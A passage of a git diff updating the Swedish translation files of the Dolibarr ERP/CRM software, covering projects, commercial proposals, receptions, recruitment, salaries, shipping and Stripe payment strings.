av uppgift -TaskHasChild=Uppgiften har barn -NotOwnerOfProject=Inte ägaren av denna privata projekt -AffectedTo=Påverkas i -CantRemoveProject=Detta projekt kan inte tas bort, eftersom det är refererat i något annat föremål (faktura, order etc.). Se i flik "%s" -ValidateProject=Bekräfta projet +ChildOfProjectTask=Underordnad projekt/uppgift +ChildOfTask=Underordnad uppgift +TaskHasChild=Uppgiften har underordnade +NotOwnerOfProject=Inte ägare av detta privata projekt +AffectedTo=Allokerad +CantRemoveProject=Detta projekt kan inte tas bort, eftersom det är refererat i något annat föremål (faktura, order etc.). Se flik %s +ValidateProject=Bekräfta projekt ConfirmValidateProject=Är du säker på att du vill bekräfta detta projekt? CloseAProject=Stäng projekt ConfirmCloseAProject=Är du säker på att du vill stänga detta projekt? -AlsoCloseAProject=Stäng också projektet (håll det öppet om du fortfarande behöver följa produktionsuppgifterna på den) +AlsoCloseAProject=Stäng också projekt +AlsoCloseAProjectTooltip=Behåll det öppet om du fortfarande har produktionsåtgärder kvar ReOpenAProject=Öppna projekt ConfirmReOpenAProject=Är du säker på att du vill öppna det här projektet igen? -ProjectContact=Kontakter av projekt -TaskContact=Uppgiftskontakter -ActionsOnProject=Åtgärder för projektet -YouAreNotContactOfProject=Du är inte en kontakt på denna privata projekt +ProjectContact=Kontakter i projekt +TaskContact=Kontakter för uppgift +ActionsOnProject=Händelser i projektet +YouAreNotContactOfProject=Du är inte en kontakt i detta privata projekt UserIsNotContactOfProject=Användaren är inte kontakt med det här privata projektet DeleteATimeSpent=Ta bort tid ConfirmDeleteATimeSpent=Är du säker på att du vill radera den här tiden? @@ -165,7 +169,7 @@ OpportunityProbability=Ledsannolikhet OpportunityProbabilityShort=Bly probab. OpportunityAmount=Blybelopp OpportunityAmountShort=Blybelopp -OpportunityWeightedAmount=Möjlighet vägd mängd +OpportunityWeightedAmount=Möjligheten i förhållande till sannolikheten OpportunityWeightedAmountShort=Opp. vägd mängd OpportunityAmountAverageShort=Genomsnittlig blybelopp OpportunityAmountWeigthedShort=Viktad blybelopp @@ -190,7 +194,7 @@ PlannedWorkload=Planerad arbetsbelastning PlannedWorkloadShort=Arbetsbelastning ProjectReferers=Relaterade saker ProjectMustBeValidatedFirst=Projekt måste bekräftas först -MustBeValidatedToBeSigned=%s must be validated first to be set to Signed. +MustBeValidatedToBeSigned=%s måste valideras först för att ställas in på Signerad. FirstAddRessourceToAllocateTime=Tilldela en användarresurs som kontaktperson för projekt att rapportera tid InputPerDay=Ingång per dag InputPerWeek=Ingång per vecka @@ -198,7 +202,7 @@ InputPerMonth=Ingång per månad InputDetail=Inmatningsdetalj TimeAlreadyRecorded=Det här är den tid som redan spelats in för den här uppgiften / dag och användare %s ProjectsWithThisUserAsContact=Projekt med denna användare som kontakt -ProjectsWithThisContact=Projects with this contact +ProjectsWithThisContact=Projekt med denna kontakt TasksWithThisUserAsContact=Uppgifter som tilldelats den här användaren ResourceNotAssignedToProject=Ej tilldelat till projekt ResourceNotAssignedToTheTask=Ej tilldelad uppgiften @@ -238,7 +242,7 @@ OppStatusPENDING=Avvaktande OppStatusWON=Vann OppStatusLOST=Förlorat Budget=Budget -AllowToLinkFromOtherCompany=Tillåt att länka projektet från annat företag

      Stödda värden:
      - Håll tom: Kan länka alla projekt av företaget (standard)
      - "all": Kan länka alla projekt, även projekt från andra företag
      - En lista över tredjeparts-ID separerade med kommatecken: kan länka alla projekt av dessa tredje partier (Exempel: 123,4795,53)
      +AllowToLinkFromOtherCompany=Tillåt att länka ett element med ett projekt från ett annat företag

      Värden som stöds:
      - Håll tomt: Kan länka element med a0cc-projektet som helst, Canfaults: Canfaults elements with a0cc-projektet, "Canf9b" projekt från andra företag
      - En lista över tredjeparts-ID separerade med kommatecken: kan länka element till alla projekt från dessa tredje parter (Exempel: 123,4795,53)
      LatestProjects=Senaste %s projekten LatestModifiedProjects=Senaste %s modifierade projekten OtherFilteredTasks=Andra filtrerade uppgifter @@ -259,7 +263,7 @@ TimeSpentInvoiced=Tid förbrukad fakturerad TimeSpentForIntervention=Tid TimeSpentForInvoice=Tid OneLinePerUser=En rad per användare -ServiceToUseOnLines=Service to use on lines by default +ServiceToUseOnLines=Tjänst att använda på linjer som standard InvoiceGeneratedFromTimeSpent=Faktura %s har genererats från tid till projekt InterventionGeneratedFromTimeSpent=Intervention %s har genererats från tid på projektet ProjectBillTimeDescription=Kontrollera om du anger tidrapport för projektuppgifter OCH du planerar att generera fakturor från tidrapporten för att fakturera kunden för projektet (kontrollera inte om du planerar att skapa faktura som inte baseras på angivna tidrapporter). Obs! För att generera faktura, gå till fliken "Tid" för projektet och välj rader som ska inkluderas. @@ -276,22 +280,22 @@ NewInter=Nya insatser OneLinePerTask=En rad per uppgift OneLinePerPeriod=En rad per period OneLinePerTimeSpentLine=En rad för varje tidrapport -AddDetailDateAndDuration=With date and duration into line description +AddDetailDateAndDuration=Med datum och varaktighet i radbeskrivning RefTaskParent=Refererad överordnad uppgift ProfitIsCalculatedWith=Vinst är beräknad av AddPersonToTask=Lägg också till i uppgift UsageOrganizeEvent=Användning: Event Organization PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Klassificera projektet som stängt när alla dess uppgifter är slutförda (100%% framsteg) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Obs: befintliga projekt med alla uppgifter vid 100%%-framsteg påverkas inte: du måste stänga dem manuellt. Det här alternativet påverkar endast öppna projekt. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Obs! Befintliga projekt med alla uppgifter som redan är inställda på 100%% kommer inte att påverkas: du måste stänga dem manuellt. Det här alternativet påverkar endast öppna projekt. SelectLinesOfTimeSpentToInvoice=Välj rader med tid som inte har fakturerats och sedan massåtgärden "Generera faktura" för att fakturera dem -ProjectTasksWithoutTimeSpent=Project tasks without time spent -FormForNewLeadDesc=Thanks to fill the following form to contact us. You can also send us an email directly to %s. -ProjectsHavingThisContact=Projects having this contact +ProjectTasksWithoutTimeSpent=Projektuppgifter utan tidsåtgång +FormForNewLeadDesc=Tack för att du fyller i följande formulär för att kontakta oss. Du kan också skicka ett mejl direkt till %s . +ProjectsHavingThisContact=Projekt som har denna kontakt StartDateCannotBeAfterEndDate=Slutdatum kan inte vara före startdatum -ErrorPROJECTLEADERRoleMissingRestoreIt=The "PROJECTLEADER" role is missing or has been de-activited, please restore in the dictionary of contact types -LeadPublicFormDesc=You can enable here a public page to allow your prospects to make a first contact to you from a public online form -EnablePublicLeadForm=Enable the public form for contact -NewLeadbyWeb=Your message or request has been recorded. We will answer or contact your soon. -NewLeadForm=New contact form -LeadFromPublicForm=Online lead from public form -ExportAccountingReportButtonLabel=Get report +ErrorPROJECTLEADERRoleMissingRestoreIt=Rollen "PROJECTLEADER" saknas eller har avaktiverats, vänligen återställ i ordlistan över kontakttyper +LeadPublicFormDesc=Här kan du aktivera en offentlig sida så att dina potentiella kunder kan ta en första kontakt med dig från ett offentligt onlineformulär +EnablePublicLeadForm=Aktivera det offentliga formuläret för kontakt +NewLeadbyWeb=Ditt meddelande eller din förfrågan har sparats. Vi svarar eller kontaktar dig snart. +NewLeadForm=Nytt kontaktformulär +LeadFromPublicForm=Online lead från offentlig form +ExportAccountingReportButtonLabel=Få rapport diff --git a/htdocs/langs/sv_SE/propal.lang b/htdocs/langs/sv_SE/propal.lang index c3813ff5a4f..119387e08fb 100644 --- a/htdocs/langs/sv_SE/propal.lang +++ b/htdocs/langs/sv_SE/propal.lang @@ -22,7 +22,7 @@ SearchAProposal=Sök ett förslag NoProposal=Inget förslag ProposalsStatistics=Kommersiella förslag statistik NumberOfProposalsByMonth=Antal per månad -AmountOfProposalsByMonthHT=Belopp per månad (exkl. skatt) +AmountOfProposalsByMonthHT=Belopp per månad (exkl. moms) NbOfProposals=Antal kommersiella förslag ShowPropal=Visa förslag PropalsDraft=Utkast @@ -35,7 +35,7 @@ PropalStatusBilled=Fakturerade PropalStatusDraftShort=Förslag PropalStatusValidatedShort=Bekräftat (öppen) PropalStatusClosedShort=Stängt -PropalStatusSignedShort=Signerad +PropalStatusSignedShort=Undertecknad PropalStatusNotSignedShort=Inte undertecknat PropalStatusBilledShort=Fakturerade PropalsToClose=Kommersiella förslag att stänga @@ -54,7 +54,7 @@ NoDraftProposals=Inga förslagsutkast CopyPropalFrom=Skapa kommersiella förslag genom att kopiera befintliga förslaget CreateEmptyPropal=Skapa tomt kommersiellt förslag eller från listan över produkter / tjänster DefaultProposalDurationValidity=Standard kommersiella förslag giltighet längd (i dagar) -DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal +DefaultPuttingPricesUpToDate=Uppdatera som standard priser med aktuella kända priser vid kloning av ett förslag UseCustomerContactAsPropalRecipientIfExist=Använd kontakt / adress med typ "Kontakt efterföljande förslag" om det definieras i stället för tredjepartsadress som mottagaradress för förslag ConfirmClonePropal=Är du säker på att du vill klona det kommersiella förslaget %s ? ConfirmReOpenProp=Är du säker på att du vill öppna tillbaka det kommersiella förslaget %s ? @@ -65,49 +65,54 @@ AvailabilityPeriod=Tillgänglighet fördröjning SetAvailability=Ställa tillgänglighet fördröjning AfterOrder=Efter att OtherProposals=Andra förslag + ##### Availability ##### AvailabilityTypeAV_NOW=Omedelbar AvailabilityTypeAV_1W=1 vecka AvailabilityTypeAV_2W=2 veckor AvailabilityTypeAV_3W=3 veckor AvailabilityTypeAV_1M=1 månad -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Representanten följa upp förslag TypeContact_propal_external_BILLING=Kundfaktura kontakt TypeContact_propal_external_CUSTOMER=Kundkontakt följa upp förslag TypeContact_propal_external_SHIPPING=Kundkontakt för leverans + # Document models -DocModelAzurDescription=En komplett förslagsmodell (gammal implementering av Cyan-mall) -DocModelCyanDescription=En komplett förslagsmodell +CantBeNoSign=kan inte ställas in som osignerad +CaseFollowedBy=Fall följt av +ConfirmMassNoSignature=Bulk Ej signerad bekräftelse +ConfirmMassNoSignatureQuestion=Är du säker på att du vill ställa in osignerade de valda posterna? +ConfirmMassSignature=Bekräftelse på bulksignatur +ConfirmMassSignatureQuestion=Är du säker på att du vill signera de valda posterna? +ConfirmMassValidation=Massvalidera bekräftelse +ConfirmMassValidationQuestion=Är du säker på att du vill validera de valda posterna? +ConfirmRefusePropal=Är du säker på att du vill tacka nej till detta kommersiella förslag? +ContractSigned=Kontrakt undertecknat +DefaultModelPropalClosed=Standardmall när ett affärsförslag sluts (ofakturerat) DefaultModelPropalCreate=Skapa standardmodell DefaultModelPropalToBill=Standardmall när ett affärsförslag sluts (att fakturera) -DefaultModelPropalClosed=Standardmall när ett affärsförslag sluts (ofakturerat) +DocModelAzurDescription=En komplett förslagsmodell (gammal implementering av Cyan-mall) +DocModelCyanDescription=En komplett förslagsmodell +FichinterSigned=Intervention undertecknad +IdProduct=Serienummer +IdProposal=Förslag ID +IsNotADraft=är inte ett utkast +LineBuyPriceHT=Köp Pris Belopp exklusive skatt för linjen +NoSign=Vägra +NoSigned=sätt ej signerat +PassedInOpenStatus=har validerats +PropalAlreadyRefused=Förslaget har redan avslagits +PropalAlreadySigned=Förslaget har redan godkänts +PropalRefused=Förslaget avslogs +PropalSigned=Förslaget accepterat ProposalCustomerSignature=Skriftligt godkännande, företagsstämpel, datum och signatur ProposalsStatisticsSuppliers=Statistik för leverantörsförslag -CaseFollowedBy=Fall följt av +RefusePropal=Avslå förslag +Sign=Sign +SignContract=Signera kontrakt +SignFichinter=Signera intervention +SignPropal=Acceptera förslaget +Signed=signerad SignedOnly=Endast signerad -NoSign=Set not signed -NoSigned=set not signed -CantBeNoSign=cannot be set not signed -ConfirmMassNoSignature=Bulk Not signed confirmation -ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? -IsNotADraft=is not a draft -PassedInOpenStatus=has been validated -Sign=Sign -Signed=signed -ConfirmMassValidation=Bulk Validate confirmation -ConfirmMassSignature=Bulk Signature confirmation -ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? -ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? -IdProposal=Förslag ID -IdProduct=Serienummer -LineBuyPriceHT=Köp Pris Belopp exklusive skatt för linjen -SignPropal=Accept proposal -RefusePropal=Refuse proposal -Sign=Sign -NoSign=Set not signed -PropalAlreadySigned=Proposal already accepted -PropalAlreadyRefused=Proposal already refused -PropalSigned=Proposal accepted -PropalRefused=Proposal refused -ConfirmRefusePropal=Are you sure you want to refuse this commercial proposal? diff --git a/htdocs/langs/sv_SE/receiptprinter.lang b/htdocs/langs/sv_SE/receiptprinter.lang index 9217fd41539..ba7688eeada 100644 --- a/htdocs/langs/sv_SE/receiptprinter.lang +++ b/htdocs/langs/sv_SE/receiptprinter.lang @@ -7,7 +7,7 @@ TestSentToPrinter=Test skickat till skrivare %s ReceiptPrinter=Mottagningsskrivare ReceiptPrinterDesc=Inställning av kvitteringsskrivare ReceiptPrinterTemplateDesc=Inställning av mallar -ReceiptPrinterTypeDesc=Beskrivning av kvittotypens typ +ReceiptPrinterTypeDesc=Exempel på möjliga värden för fältet "Parametrar" beroende på typ av drivrutin ReceiptPrinterProfileDesc=Beskrivning av kvittensskrivarens profil ListPrinters=Lista över skrivare SetupReceiptTemplate=Mallinställning @@ -40,8 +40,8 @@ DOL_USE_FONT_B=Använd typsnitt B i skrivaren DOL_USE_FONT_C=Använd typsnitt C i skrivaren DOL_PRINT_BARCODE=Skriv ut streckkod DOL_PRINT_BARCODE_CUSTOMER_ID=Skriv ut streckkods kund id -DOL_CUT_PAPER_FULL=Klipp biljetten helt -DOL_CUT_PAPER_PARTIAL=Klipp biljetten delvis +DOL_CUT_PAPER_FULL=Dela ärende helt +DOL_CUT_PAPER_PARTIAL=Dela ärendet delvis DOL_OPEN_DRAWER=Öppna kassalådan DOL_ACTIVATE_BUZZER=Aktivera summer DOL_PRINT_QRCODE=Skriv ut QR-kod @@ -55,6 +55,8 @@ DOL_DEFAULT_HEIGHT_WIDTH=Standard höjd och bredd DOL_UNDERLINE=Aktivera understrykning DOL_UNDERLINE_DISABLED=Inaktivera understrykning DOL_BEEP=Summer +DOL_BEEP_ALTERNATIVE=Pipljud (alternativt läge) +DOL_PRINT_CURR_DATE=Skriv ut aktuellt datum/tid DOL_PRINT_TEXT=Skriv text DateInvoiceWithTime=Fakturadatum och ti YearInvoice=Fakturaår diff --git a/htdocs/langs/sv_SE/receptions.lang b/htdocs/langs/sv_SE/receptions.lang index 3e7eb7455e0..fbcf0febf4d 100644 --- a/htdocs/langs/sv_SE/receptions.lang +++ b/htdocs/langs/sv_SE/receptions.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - receptions -ReceptionDescription=Vendor reception management (Create reception documents) -ReceptionsSetup=Vendor Reception setup +ReceptionDescription=Leverantörsmottagningshantering (Skapa mottagningsdokument) +ReceptionsSetup=Inställning av leverantörsmottagning RefReception=Ref. reception Reception=Den process Receptions=mottagningar @@ -24,14 +24,15 @@ ReceptionsAndReceivingForSameOrder=Mottagningar och kvitton för denna beställn ReceptionsToValidate=Mottaganden att validera StatusReceptionCanceled=Annullerad StatusReceptionDraft=Utkast -StatusReceptionValidated=Validated (products to receive or already received) -StatusReceptionValidatedToReceive=Validated (products to receive) -StatusReceptionValidatedReceived=Validated (products received) +StatusReceptionValidated=Validerad (produkter att ta emot eller redan mottagna) +StatusReceptionValidatedToReceive=Validerad (produkter att ta emot) +StatusReceptionValidatedReceived=Validerad (mottagna produkter) StatusReceptionProcessed=Bearbetad StatusReceptionDraftShort=Utkast StatusReceptionValidatedShort=Bekräftade StatusReceptionProcessedShort=Bearbetad ReceptionSheet=Mottagningsblad +ValidateReception=Validera mottagning ConfirmDeleteReception=Är du säker på att du vill ta bort denna mottagning? ConfirmValidateReception=Är du säker på att du vill validera denna mottagning med referens %s ? ConfirmCancelReception=Är du säker på att du vill avbryta mottagningen? @@ -39,7 +40,7 @@ StatsOnReceptionsOnlyValidated=Statistik som utförs på mottagningar är endast SendReceptionByEMail=Skicka mottagning via e-post SendReceptionRef=Inlämning av mottagning %s ActionsOnReception=Händelser i receptionen -ReceptionCreationIsDoneFromOrder=For the moment, creation of a new reception is done from the Purchase Order. +ReceptionCreationIsDoneFromOrder=För tillfället skapas en ny leverans från inköpsordern. ReceptionLine=Mottagningslinje ProductQtyInReceptionAlreadySent=Produktkvantitet från öppen försäljningsorder redan skickad ProductQtyInSuppliersReceptionAlreadyRecevied=Produktkvantitet från öppen leverantörsorder redan mottagen @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Numreringsmodul för mottagningar ReceptionsReceiptModel=Dokumentmallar för mottagningar NoMorePredefinedProductToDispatch=Inga fler fördefinierade produkter att skicka ReceptionExist=Det finns en mottagning -ByingPrice=Bying price -ReceptionBackToDraftInDolibarr=Reception %s back to draft -ReceptionClassifyClosedInDolibarr=Reception %s classified Closed -ReceptionUnClassifyCloseddInDolibarr=Reception %s re-open +ReceptionBackToDraftInDolibarr=Leverans %s tillbaka till utkast +ReceptionClassifyClosedInDolibarr=Leverans %s klassificerad Stängd +ReceptionUnClassifyCloseddInDolibarr=Leverans %s öppnad igen diff --git a/htdocs/langs/sv_SE/recruitment.lang b/htdocs/langs/sv_SE/recruitment.lang index b92dea1dc3b..600da554f13 100644 --- a/htdocs/langs/sv_SE/recruitment.lang +++ b/htdocs/langs/sv_SE/recruitment.lang @@ -20,57 +20,60 @@ # Module label 'ModuleRecruitmentName' ModuleRecruitmentName = Rekrytering # Module description 'ModuleRecruitmentDesc' -ModuleRecruitmentDesc = Hantera och följ rekryteringskampanjer för nya jobb +ModuleRecruitmentDesc = Hantera och följ rekryteringar för utannonserade tjänster # # Admin page # -RecruitmentSetup = Rekryteringsinställning +RecruitmentSetup = Inställningar för rekrytering Settings = inställningar -RecruitmentSetupPage = Ange här inställningen av huvudalternativ för rekryteringsmodulen +RecruitmentSetupPage = Ange huvudalternativ för rekryteringsmodulen RecruitmentArea=Rekryteringsområde -PublicInterfaceRecruitmentDesc=Offentliga sidor med jobb är offentliga webbadresser för att visa och svara på öppna jobb. Det finns en annan länk för varje öppet jobb som finns i varje jobb. -EnablePublicRecruitmentPages=Aktivera offentliga sidor med öppna jobb +PublicInterfaceRecruitmentDesc=Publika sidor med tjänster är offentliga webbadresser för att visa upp lediga tjänster. Det finns en annan länk för varje ledig position som finns i varje tjänst. +EnablePublicRecruitmentPages=Aktivera publika sidor med lediga tjänster # # About page # About = Om -RecruitmentAbout = Om rekrytering -RecruitmentAboutPage = Rekrytering om sida +RecruitmentAbout = Om rekryteringen +RecruitmentAboutPage = Rekryteringens om-sida NbOfEmployeesExpected=Förväntat antal anställda -JobLabel=Etikett för jobbet +JobLabel=Etikett för tjänsten WorkPlace=Arbetsplats DateExpected=Förväntat datum FutureManager=Framtida chef ResponsibleOfRecruitement=Ansvarig för rekrytering -IfJobIsLocatedAtAPartner=Om jobbet finns på en partnerplats +IfJobIsLocatedAtAPartner=Finns tjänsten på en partnerplats PositionToBeFilled=Befattning -PositionsToBeFilled=Jobbpositioner -ListOfPositionsToBeFilled=Lista över anställningar -NewPositionToBeFilled=Nya jobbpositioner +PositionsToBeFilled=Befattningar +ListOfPositionsToBeFilled=Lista över befattningar +NewPositionToBeFilled=Nya befattningar -JobOfferToBeFilled=Jobb som ska fyllas -ThisIsInformationOnJobPosition=Information om den anställning som ska fyllas +JobOfferToBeFilled=Befattning att tillsätta +ThisIsInformationOnJobPosition=Information om den befattning som ska tillsättas ContactForRecruitment=Kontakt för rekrytering -EmailRecruiter=E-postrekryterare +EmailRecruiter=E-post till rekryterare ToUseAGenericEmail=Att använda ett generiskt e-postmeddelande. Om det inte definieras kommer e-postmeddelandet till den ansvariga för rekryteringen att användas NewCandidature=Ny ansökan -ListOfCandidatures=Lista över ansökningar -RequestedRemuneration=Begärd ersättning -ProposedRemuneration=Föreslagen ersättning -ContractProposed=Avtalsförslag -ContractSigned=Kontrakt undertecknat -ContractRefused=Avtal nekades +ListOfCandidatures=Lista ansökningar +Remuneration=Lön +RequestedRemuneration=Önskad lön +ProposedRemuneration=Föreslagen lön +ContractProposed=Avtals föreslag +ContractSigned=Avtal signerat +ContractRefused=Avtal nekat RecruitmentCandidature=Ansökan -JobPositions=Jobbpositioner +JobPositions=Befattningar RecruitmentCandidatures=Applikationer -InterviewToDo=Intervju att göra -AnswerCandidature=Ansökan svar +InterviewToDo=Kontakter att följa +AnswerCandidature=Svar på ansökan YourCandidature=Din ansökan YourCandidatureAnswerMessage=Tack för din ansökan.
      ... -JobClosedTextCandidateFound=Jobbet är stängt. Anställningen har fyllts. -JobClosedTextCanceled=Jobbet är stängt. -ExtrafieldsJobPosition=Kompletterande attribut (jobbpositioner) -ExtrafieldsApplication=Kompletterande attribut (jobbansökningar) -MakeOffer=Göra ett erbjudande +JobClosedTextCandidateFound=Ansökan har avslutats och positionen är tillsatt. +JobClosedTextCanceled=Befattningen är tillsatt. +ExtrafieldsJobPosition=Kompletterande attribut (befattningar) +ExtrafieldsApplication=Kompletterande attribut (ansökningar) +MakeOffer=Ge ett erbjudande +WeAreRecruiting=Vi rekryterar! Detta är en lista över lediga tjänster som ska tillsättas... +NoPositionOpen=Inga lediga tjänster för tillfället diff --git a/htdocs/langs/sv_SE/resource.lang b/htdocs/langs/sv_SE/resource.lang index 16ec7c66e6c..cbabf8553be 100644 --- a/htdocs/langs/sv_SE/resource.lang +++ b/htdocs/langs/sv_SE/resource.lang @@ -2,38 +2,38 @@ MenuResourceIndex=Resurser MenuResourceAdd=Ny resurs DeleteResource=Radera resurs -ConfirmDeleteResourceElement=Bekräfta radera resurs för detta element +ConfirmDeleteResourceElement=Bekräfta radering av resurs för detta element NoResourceInDatabase=Ingen resurs i databasen. -NoResourceLinked=Ingen resurs kopplad -ActionsOnResource=Händelser om den här resursen -ResourcePageIndex=Listan över resurser +NoResourceLinked=Ingen resurs länkad +ActionsOnResource=Händelser om denna resurs +ResourcePageIndex=Lista över resurser ResourceSingular=Resurs -ResourceCard=Resurs kort +ResourceCard=Resurskort AddResource=Skapa en resurs ResourceFormLabel_ref=Resursnamn -ResourceType=Resurs typ +ResourceType=Resurstyp ResourceFormLabel_description=Resursbeskrivning -ResourcesLinkedToElement=Resurser kopplade till elementet +ResourcesLinkedToElement=Resurser länkade till elementet ShowResource=Visa resurs -ResourceElementPage=Element resurser +ResourceElementPage=Elementresurser ResourceCreatedWithSuccess=Resursen har skapats -RessourceLineSuccessfullyDeleted=Resurslinje har tagits bort -RessourceLineSuccessfullyUpdated=Resurs linje har uppdaterats -ResourceLinkedWithSuccess=Resurs kopplat med framgång +RessourceLineSuccessfullyDeleted=Resursrad har tagits bort +RessourceLineSuccessfullyUpdated=Resursrad har uppdaterats +ResourceLinkedWithSuccess=Resursen har länkats -ConfirmDeleteResource=Bekräfta radera denna resurs -RessourceSuccessfullyDeleted=Resurs tagits bort +ConfirmDeleteResource=Bekräfta radering av denna resurs +RessourceSuccessfullyDeleted=Resurs har tagits bort DictionaryResourceType=Typ av resurser SelectResource=Välj resurs IdResource=ID-resurs AssetNumber=Serienummer -ResourceTypeCode=Typ av resurs typ +ResourceTypeCode=Resurs typkod ImportDataset_resource_1=Resurser -ErrorResourcesAlreadyInUse=Vissa resurser är använda +ErrorResourcesAlreadyInUse=Vissa resurser används ErrorResourceUseInEvent=%s använt i %s diff --git a/htdocs/langs/sv_SE/salaries.lang b/htdocs/langs/sv_SE/salaries.lang index 4af0111e77a..4d5d2bc6997 100644 --- a/htdocs/langs/sv_SE/salaries.lang +++ b/htdocs/langs/sv_SE/salaries.lang @@ -1,26 +1,27 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Redovisningskonto som används för tredje part -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Det dedikerade bokföringskontot som definieras på användarkortet kommer endast att användas för Subledger-bokföring. Den här kommer att användas för huvudboken och som standardvärde för Subledger-bokföring om ett dedikerat användarkonto på användare inte är definierat. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Konto (från kontoplanen) används som standard för "användare" tredje part +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Det dedikerade kontot som definieras på användarkortet kommer endast att användas för underreskontra. Denna kommer att användas för huvudbok och som standardvärde för underreskontra om ett dedikerat användarkonto för användare inte är definierat. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Redovisningskonto som standard för lönebetalningar CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Lämna som standard tomt alternativet "Skapa en total betalning automatiskt" när du skapar en lön Salary=Lön Salaries=Löner NewSalary=Ny lön -AddSalary=Add salary +AddSalary=Lägg till lön NewSalaryPayment=Nytt lönekort AddSalaryPayment=Lägg till lönbetalning SalaryPayment=Lönebetalning SalariesPayments=Löneutbetalningar -SalariesPaymentsOf=Löner betalningar av %s +SalariesPaymentsOf=Lönerutbetalningar av %s ShowSalaryPayment=Visa löneutbetalning -THM=Genomsnittlig timpris -TJM=Genomsnittlig dagskurs +THM=Genomsnittlig timkurs +TJM=Genomsnittligt dagskurs CurrentSalary=Nuvarande lön THMDescription=Det här värdet kan användas för att beräkna kostnaden för tidskrävande på ett projekt som användaren har infört om modulprojekt används TJMDescription=Detta värde är för närvarande endast för information och används inte för någon beräkning -LastSalaries=Senaste %s löner +LastSalaries=Senaste %s lönerna AllSalaries=Alla löner SalariesStatistics=Lönestatistik SalariesAndPayments=Löner och betalningar ConfirmDeleteSalaryPayment=Vill du ta bort den här lönen? -FillFieldFirst=Fill employee field first +FillFieldFirst=Fyll i fällt om den anställda först +UpdateAmountWithLastSalary=Sätt belopp med senaste lön diff --git a/htdocs/langs/sv_SE/sendings.lang b/htdocs/langs/sv_SE/sendings.lang index 8877cdcd389..814d1461287 100644 --- a/htdocs/langs/sv_SE/sendings.lang +++ b/htdocs/langs/sv_SE/sendings.lang @@ -53,7 +53,7 @@ SendShippingByEMail=Skicka leverans via e-post SendShippingRef=Inlämning av leveransen %s ActionsOnShipping=Evenemang på leverans LinkToTrackYourPackage=Länk till spåra ditt paket -ShipmentCreationIsDoneFromOrder=For the moment, creation of a new shipment is done from the Sales Order record. +ShipmentCreationIsDoneFromOrder=För tillfället skapas en ny försändelse från försäljningsorderposten. ShipmentLine=Transport linje ProductQtyInCustomersOrdersRunning=Produktkvantitet från öppna försäljningsorder ProductQtyInSuppliersOrdersRunning=Produktkvantitet från öppna beställningar diff --git a/htdocs/langs/sv_SE/stripe.lang b/htdocs/langs/sv_SE/stripe.lang index ff0b4050f5e..58e6a840aba 100644 --- a/htdocs/langs/sv_SE/stripe.lang +++ b/htdocs/langs/sv_SE/stripe.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - stripe StripeSetup=Stripe modul inställning -StripeDesc=Offer your customers an online payment page for payments with credit/debit cards via Stripe. This can be used to allow your customers to make ad-hoc payments or for payments related to a particular Dolibarr object (invoice, order, ...) +StripeDesc=Erbjud dina kunder en onlinebetalningssida för betalningar med kredit-/betalkort via Stripe . Detta kan användas för att låta dina kunder göra ad-hoc-betalningar eller för betalningar relaterade till ett visst Dolibarr-objekt (faktura, order, ...) StripeOrCBDoPayment=Betala med kreditkort eller Stripe FollowingUrlAreAvailableToMakePayments=Följande webbadresser finns att erbjuda en sida till en kund att göra en förskottsbetalning Dolibarr objekt PaymentForm=Inbetalningskort @@ -18,7 +18,7 @@ Continue=Nästa ToOfferALinkForOnlinePayment=URL för %s betalning ToOfferALinkForOnlinePaymentOnOrder=URL för att erbjuda en %s onlinebetalningssida för en försäljningsorder ToOfferALinkForOnlinePaymentOnInvoice=URL för att erbjuda en %s onlinebetalningssida för en kundfaktura -ToOfferALinkForOnlinePaymentOnContractLine=URL för att erbjuda en online-betalningssida %s för en kontraktslinje +ToOfferALinkForOnlinePaymentOnContractLine=URL för att erbjuda en online-betalningssida %s för en kontraktsrad ToOfferALinkForOnlinePaymentOnFreeAmount=URL för att erbjuda en %s onlinebetalningssida av vilket belopp som helst utan något befintligt objekt ToOfferALinkForOnlinePaymentOnMemberSubscription=URL för att erbjuda en %s onlinebetalningssida för ett medlemsabonnemang ToOfferALinkForOnlinePaymentOnDonation=URL för att erbjuda en %s onlinebetalningssida för betalning av en donation @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook levande nyckel ONLINE_PAYMENT_WAREHOUSE=Lager som ska användas för lagerminskning när online betalning görs
      (TODO När alternativet att minska lagret görs på en fakturahandling och online betalning genererar fakturaen?) StripeLiveEnabled=Stripe live enabled (annars test / sandbox-läge) StripeImportPayment=Importera Stripe betalningar -ExampleOfTestCreditCard=Exempel på kreditkort för test: %s => valid, %s => error CVC, %s => expired, %s => debitering misslyckas +ExampleOfTestCreditCard=Exempel på kreditkort för SEPA-test: %s => giltigt, %s => fel CVC, %s => löpt ut, %s => laddning misslyckas +ExampleOfTestBankAcountForSEPA=Exempel på bankkonto BAN för autogirotest: %s StripeGateways=Stripe gateways OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Radera kort ConfirmDeleteCard=Är du säker på att du vill radera detta kredit- eller betalkort? CreateCustomerOnStripe=Skapa kund på Stripe CreateCardOnStripe=Skapa kort på Stripe +CreateBANOnStripe=Skapa bank på Stripe ShowInStripe=Visa i Stripe StripeUserAccountForActions=Användarkonto som ska användas för e-postnotifiering av vissa Stripe-händelser (Stripe-utbetalningar) StripePayoutList=Lista över Stripe utbetalningar @@ -69,3 +71,8 @@ 